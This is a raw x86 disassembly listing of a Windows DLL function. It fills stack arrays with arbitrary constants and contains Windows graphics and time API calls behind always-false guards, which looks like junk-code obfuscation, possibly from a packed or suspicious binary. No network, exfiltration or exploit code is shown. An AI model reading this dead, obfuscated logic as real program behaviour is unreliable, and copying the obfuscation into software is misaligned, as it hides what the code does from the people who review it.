mov dword [ebp + eax*4 - 0xfec], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1000abe7
xor eax, eax
cmp dword [ebp - 0xfe4], eax
jne 0x1000ac34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 3
jg 0x1000ac2b
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + eax*4 - 0xfec]
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xfec], ecx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jle 0x1000ac0c
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffe
jg 0x1000abd7
inc dword [ebp - 0x40]
jmp 0x1000abca
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000ac59
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x1000ac94
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
neg eax
je 0x1000ac91
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1000ac79
cmp dword [ebp - 0x54], eax
je 0x1000ac79
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1000ac8b
cmp dword [ebp - 0x2c], eax
je 0x1000ac8b
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
push 2
pop eax
push eax
lea ecx, [ebp - 0xe38]
call fcn.10024e73
mov byte [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x18], 0xf1febaee
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1000acdd
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xe38]
call fcn.10024ee0
push 2
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x2c]
pop eax
cmp dword [ebp - 0x2c], eax
jl 0x1000acbc
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1000acfe
mov ecx, 0xffff
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x304], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1000acea
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1000ad52
mov dword [ebp - 0x38], edi
lea ecx, [ebp - 0xf34]
mov dword [ebp - 0x38], 0xcb363f9e
push esi
call fcn.10024e73
xor eax, eax
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x14], eax
jmp 0x1000ad35
push dword [ebp - 0x14]
call fcn.10024ee0
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xf34]
cmp dword [ebp - 0x14], esi
jl 0x1000ad24
inc dword [ebp - 0x304]
mov byte [ebp - 4], 0x12
call fcn.10024edb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1000ad03
lea ecx, [ebp - 0xe38]
mov byte [ebp - 4], 0xc
call fcn.10024edb
mov dword [ebp - 0x38], ebx
xor eax, eax
mov dword [ebp - 0x50], 0x1464f16e
mov dword [ebp - 0x24], 0x4837182a
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000ad95
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf8], edi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000ad81
xor eax, eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0xffffffe9
jle 0x1000ae29
mov edi, 0xffff
mov dword [ebp - 0x18], 0x3843046b
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x28], 0x865b49d5
mov dword [ebp - 0x5c], 0xea0
cmp dword [ebp - 0x18], 0xb6b9
jg 0x1000ade2
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x14]
test eax, eax
jne 0x1000ade2
mov edx, eax
jmp 0x1000ade4
mov edx, ebx
mov dword [ebp - 0x24], 0x6880
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x18], edi
mov eax, dword [ebp - 0xf8]
sbb ecx, ecx
neg ecx
imul ecx, eax
mov eax, dword [ebp - 0x18]
push 2
imul eax, ecx
pop ecx
imul eax, edx
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x28], ecx
dec dword [ebp - 0xf8]
cmp dword [ebp - 0xf8], 0xffffffe9
jg 0x1000adad
xor eax, eax
or edi, 0xffffffff
jmp 0x1000ae2c
push 2
pop ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x1c], 0x2e0cf572
mov dword [ebp - 0x40], 0xfffffffa
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x58], 0xc22f747e
mov dword [ebp - 0x38], 0x1ebdc590
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1000ae6f
push 9
pop edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x13c8], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1000ae5a
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x1000ae8f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1328], 0x1262
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1000ae77
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1000aef8
mov dword [ebp - 0x14], 0xbf49
mov dword [ebp - 0x24], 0xa00d0e75
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
imul eax, ecx
neg eax
cmp eax, dword [ebp - 0x1c]
jl 0x1000aecc
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1000aece
mov edx, ebx
jmp 0x1000aed0
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
dec ecx
je 0x1000aee4
cmp dword [ebp - 0x14], eax
jne 0x1000aeee
cmp dword [ebp - 0x24], eax
jne 0x1000aeee
cmp dword [ebp - 0x14], eax
je 0x1000aef0
mov eax, ebx
mov dword [ebp - 0x40], eax
jmp 0x1000afc6
push ecx
mov dword [ebp - 0x28], 0x21b07fb0
lea ecx, [ebp - 0x614]
call fcn.10024e73
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x14], eax
jmp 0x1000af26
push dword [ebp - 0x14]
call fcn.10024ee0
mov dword [eax], ebx
inc dword [ebp - 0x14]
push 2
pop eax
lea ecx, [ebp - 0x614]
cmp dword [ebp - 0x14], eax
jl 0x1000af19
mov esi, dword [ebp - 0x28]
push ebx
call fcn.10024ee0
mov dword [eax], esi
xor eax, eax
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
je 0x1000af55
push 7
pop eax
cmp dword [ebp - 0x28], eax
je 0x1000af55
mov edx, ebx
jmp 0x1000af96
mov dword [ebp - 0x14], ebx
lea ecx, [ebp - 0x614]
push ebx
call fcn.10024ee0
mov ecx, dword [ebp - 0x14]
cmp dword [eax], ecx
jge 0x1000af6e
mov eax, dword [ebp - 0x28]
xor eax, eax
lea ecx, [ebp - 0x614]
push eax
call fcn.10024ee0
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x614]
mov eax, dword [ebp - 0x28]
xor eax, eax
push eax
call fcn.10024ee0
mov dword [eax], ebx
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov edx, dword [ebp - 0x24]
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp edx, eax
setne cl
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x614]
mov byte [ebp - 4], 0xc
call fcn.10024edb
push 2
pop ecx
mov dword [ebp - 0x40], ecx
xor eax, eax
cmp dword [ebp - 0x40], eax
jl 0x1000b03b
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xff8]
push ebx
call fcn.10024e73
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1000b00e
push dword [ebp - 0x14]
lea ecx, [ebp - 0xff8]
call fcn.10024ee0
mov dword [eax], 0x9c17f726
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1000aff0
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop eax
jmp 0x1000b01f
mov dword [ebp - 0x38], edi
dec dword [ebp - 0x58]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1000b016
lea ecx, [ebp - 0xff8]
mov byte [ebp - 4], 0xc
call fcn.10024edb
dec dword [ebp - 0x40]
push 2
pop ecx
jns 0x1000afd3
push 3
lea ecx, [ebp - 0x848]
call fcn.10024e73
push 2
pop eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x9e0]
mov dword [ebp - 0x50], edi
push eax
call fcn.10024e73
mov byte [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x5c], 0xca0029bf
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1000b095
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9e0]
call fcn.10024ee0
push 2
mov dword [eax], 7
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1000b074
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b0a6
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov esi, dword [ebp - 0x50]
lea ecx, [ebp - 0x9e0]
push ebx
call fcn.10024ee0
lea ecx, [ebp - 0x9e0]
mov dword [eax], esi
mov dword [ebp - 0x5c], esi
mov byte [ebp - 4], 0x16
call fcn.10024edb
push 4
pop eax
push 2
mov dword [ebp - 0x50], eax
lea ecx, [ebp - 0xe50]
pop eax
push eax
call fcn.10024e73
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x12a8]
movdqa xmm0, xmmword [0x10007c80]
xor eax, eax
push 2
mov dword [ebp - 0x1c], 0x56915a13
mov dword [ebp - 0x5c], eax
pop eax
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x10ec]
push eax
lea eax, [ebp - 0x10fc]
push eax
movdqu xmmword [ebp - 0x10fc], xmm0
call fcn.10024eef
lea ecx, [ebp - 0x251]
mov esi, eax
call fcn.10008e5a
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x118c]
push dword [esi]
call fcn.10024eb5
xor eax, eax
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1000b16b
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe50]
call fcn.10024ee0
push 2
mov dword [eax], 0xec0a
inc dword [ebp - 0x14]
pop eax
cmp dword [ebp - 0x14], eax
jl 0x1000b14a
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x1000b186
push 9
pop ecx
mov dword [ebp - 0x50], ecx
cmp dword [ebp - 0x50], eax
jne 0x1000b186
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1000b176
mov dword [ebp - 0x1c], eax
jmp 0x1000b194
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffa
jl 0x1000b18b
lea ecx, [ebp - 0x118c]
call fcn.10024edb
lea ecx, [ebp - 0xe50]
mov byte [ebp - 4], 0x16
call fcn.10024edb
push 0xfffffffffffffffb
pop esi
mov dword [ebp - 0x40], esi
lea ecx, [ebp - 0x7c4]
mov dword [ebp - 0x60], 0xfffffff6
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x44], 0xd8da8e97
push ebx
call fcn.10024e73
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xc68]
push 4
mov dword [ebp - 0x38], esi
pop eax
mov dword [ebp - 0x38], 0xc891c553
mov dword [ebp - 0x38], eax
push 2
mov dword [ebp - 0x5c], 0x2121f90e
pop eax
mov dword [ebp - 0x50], 0xfffffff9
mov dword [ebp - 0x24], 0x56810853
mov dword [ebp - 0x58], ebx
push eax
call fcn.10024e73
mov byte [ebp - 4], 0x1b
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0xd1c], eax
mov dword [ebp - 0xd18], eax
mov dword [ebp - 0xd14], eax
mov dword [ebp - 0xd10], eax
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1000b255
push dword [ebp - 0x30]
lea ecx, [ebp - 0x7c4]
call fcn.10024ee0
mov dword [eax], edi
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1000b23b
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1000b275
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x73c], 0x1188e17b
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1000b25d
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 2
jge 0x1000b29f
push dword [ebp - 0x30]
lea ecx, [ebp - 0xc68]
call fcn.10024ee0
push 2
mov dword [eax], 0x9e6a
inc dword [ebp - 0x30]
pop eax
cmp dword [ebp - 0x30], eax
jl 0x1000b27e
xor eax, eax
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x7c4]
mov edi, dword [ebp - 0x60]
neg edi
push eax
sbb edi, edi
neg edi
call fcn.10024ee0
push ebx
lea ecx, [ebp - 0xc68]
mov eax, dword [eax]
neg eax
mov dword [ebp - 0x58], eax
call fcn.10024ee0
mov ecx, dword [ebp - 0x44]
push 9
mov esi, dword [eax]
pop eax
sub esi, ecx
lea ecx, [ebp - 0x7c4]
sub esi, eax
xor eax, eax
push eax
call fcn.10024ee0
mov edx, dword [ebp - 0x58]
xor ebx, ebx
mov ecx, dword [ebp - 0x50]
cmp ecx, edx
mov ecx, dword [ebp - 0x60]
setge bl
imul ecx, esi
imul ecx, ecx, 0x8ca8
sub ebx, ecx
mov ecx, dword [ebp - 0x5c]
sub ebx, dword [eax]
mov eax, dword [ebp - 0x44]
neg ebx
sbb ebx, ebx
xor edx, edx
inc ebx
imul ecx, ebx
cmp ecx, eax
lea ecx, [ebp - 0xc68]
setl dl
sub edi, edx
mov dword [ebp - 0xd1c], edi
mov dword [ebp - 0x73c], edi
call fcn.10024edb
lea ecx, [ebp - 0x7c4]
mov byte [ebp - 4], 0x16
call fcn.10024edb
or esi, 0xffffffff
lea ecx, [ebp - 0x9f8]
xor eax, eax
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x28], eax
push 3
call fcn.10024e73
xor eax, eax
mov byte [ebp - 4], 0x1c
push 2
mov dword [ebp - 0x2c], eax
pop ebx
cmp dword [ebp - 0x2c], ebx
jge 0x1000b37f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x274], 0xb57f
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1000b367
xor eax, eax
xor edi, edi
mov dword [ebp - 0x2c], eax
inc edi
cmp dword [ebp - 0x2c], 3
jge 0x1000b3a6
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x9f8]
call fcn.10024ee0
mov dword [eax], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x1000b38b
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1000b6a6
mov dword [ebp - 0x14], 0xfffffff9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1000b3d7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x430], 0x1c2a2c7c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000b3be
xor eax, eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], edi
jg 0x1000b6a3
push ebx
lea ecx, [ebp - 0x1c0]
call fcn.10024e73
push 9
mov byte [ebp - 4], 0x1d
pop eax
mov dword [ebp - 0x5c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x1000b427
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1c0]
call fcn.10024ee0
mov dword [eax], 0x25fa5fef
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1000b409
xor eax, eax
push 4
mov dword [ebp - 0x2c], eax
pop ecx
cmp dword [ebp - 0x2c], ecx
jge 0x1000b44a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x12a0], 0xc41bbbbf
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1000b432
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x1000b4a6
push 0x247d
push 0x20ea
push 0x666
push eax
push 0x1ea4
push 0x17ce
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ebx, dword [sym.imp.USER32.dll_GetDC]
push eax
call ebx
push eax
push 0x61e
push 0x4fc
push 0xdff
push 0x1901
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call ebx
push eax
call dword [sym.imp.GDI32.dll_MaskBlt]
push 2
xor eax, eax
pop ebx
push eax
lea ecx, [ebp - 0x1c0]
call fcn.10024ee0
lea ecx, [ebp - 0x1c0]
mov dword [eax], edi
xor eax, eax
push eax
call fcn.10024ee0
cmp dword [eax], 0
jl 0x1000b680
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1000b4ef
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x490], 0x878abc10
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1000b4d6
mov dword [ebp - 0x488], edi
cmp dword [ebp - 0x488], eax
jl 0x1000b5fc
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x1c
call fcn.10024edb
inc dword [ebp - 0x430]
cmp dword [ebp - 0x430], edi
jle 0x1000b3e9
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x1000b3ae
lea ecx, [ebp - 0x9f8]
mov byte [ebp - 4], 0x16
call fcn.10024edb
mov dword [ebp - 0x38], 0xfffffffd
lea ecx, [ebp - 0xb90]
push edi
call fcn.10024e73
mov byte [ebp - 4], 0x1e
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x14], 0x4c7ba3f3
push 4
mov dword [ebp - 0x30], eax
pop ecx
cmp dword [ebp - 0x30], ecx
jge 0x1000b707
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x12b8], 0xea983111
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x1000b6ef
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], edi
jge 0x1000b72a
push dword [ebp - 0x30]
lea ecx, [ebp - 0xb90]
call fcn.10024ee0
and dword [eax], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jl 0x1000b70f
xor eax, eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
jge 0x1000b74a
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x1370], 0
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
jl 0x1000b732
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x3606
jl 0x1000b76b
push eax
lea ecx, [ebp - 0xb90]
call fcn.10024ee0
cmp dword [eax], 0
jne 0x1000b76b
mov eax, edi
mov dword [ebp - 0x12ac], eax
lea ecx, [ebp - 0xb90]
mov byte [ebp - 4], 0x16
call fcn.10024edb
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1000b79c